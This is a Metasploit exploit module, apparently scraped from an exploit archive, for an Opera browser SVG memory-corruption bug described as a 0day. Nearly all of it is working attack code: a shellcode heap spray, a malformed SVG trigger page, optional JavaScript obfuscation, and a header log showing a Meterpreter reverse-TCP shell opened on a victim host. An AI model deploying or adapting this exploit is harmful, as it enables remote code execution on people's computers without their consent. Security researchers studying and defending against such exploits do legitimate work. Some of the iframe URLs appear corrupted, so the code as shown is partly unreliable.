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############################################################################################################### # Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) # # Vulnerability: # # Discovered: 2010-10-13 # Patched: 0day # Tested on: v10.xx (v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63) # v11.xx (v11.00, v11.01, v11.10, v11.11, v11.50 and v11.51) # # Exploit: # # Coded: 2010-10-14 # Last revision: 2011-10-08 # # This exploit was modified with a new poc and triggering method, to hit Opera Next. The first copy was coded for v10.5x/v10.6x. # # RCE on: v11.00, v11.01, v11.10, v11.11, v11.50, v11.51 and v12.00 pre-alpha r1076 (Opera Next) # # Notes: # # 1) DEP bypass: possible but unreliable. # 2) Let me know if you improve this one ;) # 3) Two days ago, Opera Next was updated to 12.00 pre-alpha r1085 # and this exploit is less reliable, even sometimes never gets crashed. # Anyway, I've also seen remote code execution. # # # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com # # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, EnRed20.org, etc # # # Running against Opera v12.00 pre-alpha r1076... # # # #=[ metasploit v4.0.1-dev [core:4.0 api:1.0] # + -- --=[ 742 exploits - 378 auxiliary - 83 post # + -- --=[ 228 payloads - 27 encoders - 8 nops #=[ svn r13810 updated today (2011.10.06) # # msf > use windows/browser/opera_svg_0day # msfexploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp # payload => windows/meterpreter/reverse_tcp # msfexploit(opera_svg_0day) > set LHOST 192.168.1.103 # LHOST => 192.168.1.103 # msfexploit(opera_svg_0day) > exploit # [*] Exploit running as background job. # msfexploit(opera_svg_0day) > # [*] Started reverse handler on 192.168.1.103:4444 # [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5 # [*]Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5 # [*] Server started. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage 1 (Spraying the heap) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage (752128 bytes) to 192.168.1.104 # [*] Sending stage 1 (Spraying the heap) # [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200 # Interrupt: use the 'exit' command to quit # msfexploit(opera_svg_0day) > sessions # # Active sessions # =============== # # IdType InformationConnection # ------ --------------------- # 1 meterpreter x86/win320XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12192.168.1.103:4444 -> 192.168.1.104:1234 # # msfexploit(opera_svg_0day) > sessions -i 1 # [*] Starting interaction with 1... # # meterpreter > execute -f calc.exe # Process 1752 created. # meterpreter > exit # [*] Shutting down Meterpreter... # # [*] Meterpreter session 1 closed.Reason: User exit # msfexploit(opera_svg_0day) > # ################################################################################################################ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption', 'Description'=> %q{ This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less success (depending of opera.dll version). This module won't work against v10.xx because it was modified to exploit Opera upper to v11. Read the lastest references for further details. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Jose A. Vazquez' ], 'Version'=> '$Revision: 0011 $', 'References' => [ ['URL', 'http://www.beyondsecurity.com/ssd.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English ['URL', 'http://enred20.org/node/27'] # Spanish ], 'DefaultOptions' => { 'EXITFUNC'=> 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets'=> [ # spray of ~ 450 MB. [ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)', { 'Method' => 'usual', 'MaxOffset' => nil, 'MaxSize' => nil, 'MaxBlocks' => 900, 'Ret' => 0x0c0c0c0c } ], # Thanks to sinn3r of metasploit.com for this method. [ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)', { 'Method' => 'precise-allocation-size', 'MaxOffset' => 0x800, 'MaxSize' => 0x80000, 'MaxBlocks' => 0x500, 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => '0day', 'DefaultTarget'=> 0)) #Apply obfuscation by default register_options( [ OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true]) ], self.class) end def on_request_uri(cli, request) mytarget = target if(request.uri =~ /\.xhtml$/) #Send file for trigger the vulnerability html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg"> <head> <meta http-equiv="refresh" content="0;url=" /> </head> <select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' > <svt:svg> <svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' > <svt:svg> <svt:font> <svt:animateMotion> feFuncR </svt:animateMotion> </svt:font> </svt:svg> </svt:title> </svt:svg> </select1> </html> | #Send triggerer print_status("Sending stage 2 (Triggering the vulnerability)") var_contentype = 'application/xhtml+xml' else #Sending init HTML print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})") return if ((p = regenerate_payload(cli)) == nil) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) addr_word= [mytarget.ret].pack('V').unpack('H*')[0][0,4] var_timer_trigger = (rand(3) + 2) * 1000 var_file_trigger = rand_text_alpha(rand(30)+2) #Build the exploit var_url =((datastore['SSL']) ? "https://" : "http://") var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) var_url << ":" + datastore['SRVPORT'] var_url << get_resource #Choose the heap spray method if(mytarget['Method'] == 'usual') spray_js = <<-JS var shell = unescape("#{shellcode}"); var size = shell.length * 2; var nopsize = 0x100000 - (size + 0x14); var nopsled = unescape("%u#{addr_word}"); while(nopsled.length * 2 < nopsize) { nopsled += nopsled; } var blocks = new Array(); for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) { blocks[x] = nopsled + shell; } function TriggerVuln(){ document.write("<iframe src='https://www.exploit-db.com/exploits/17960/#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS else # # Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha # # /* # *Heap spray for Opera that uses VirtualAlloc # *Arguments: # *@blocks - an emtpy array # *@code - the payload # *@offset - padding to align the code # *@chunk_max- max size for each allocation # *@blocks_max - max blocks # */ # # spray_js = <<-JS function heap_spray(blocks, code, offset, chunk_max, blocks_max) { if (chunk_max < 0x7F000) { throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc"; } chunk_max /= 2; var nops = unescape("%u0c0c%u0c0c"); while (nops.length < chunk_max) nops += nops; var offset_chunk = nops.substr(0, offset-code.length); var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length); while (block.length % 8 != 0) block += unescape("%u0c"); var shellcode = block.substr(0, (chunk_max-0x1c)/2); for (var i=0; i < blocks_max; i++) { blocks[i] = shellcode + unescape("%u0c0c"); } } var blocks = new Array(); var code = unescape("#{shellcode}"); heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']}); function TriggerVuln(){ document.write("<iframe src='https://www.exploit-db.com/exploits/17960/#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS end if datastore['OBFUSCATE'] == true spray_js = ::Rex::Exploitation::JSObfu.new(spray_js) spray_js.obfuscate trigger_sym = spray_js.sym('TriggerVuln') spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});" else spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});" end html = %Q| <html> <head> <script type="text/javascript"> #{spray_js} </script> </head> <html> | print_status("Sending stage 1 (Spraying the heap)") var_contentype = 'text/html' end #Response send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' }) #Handle the payload handler(cli) end end |
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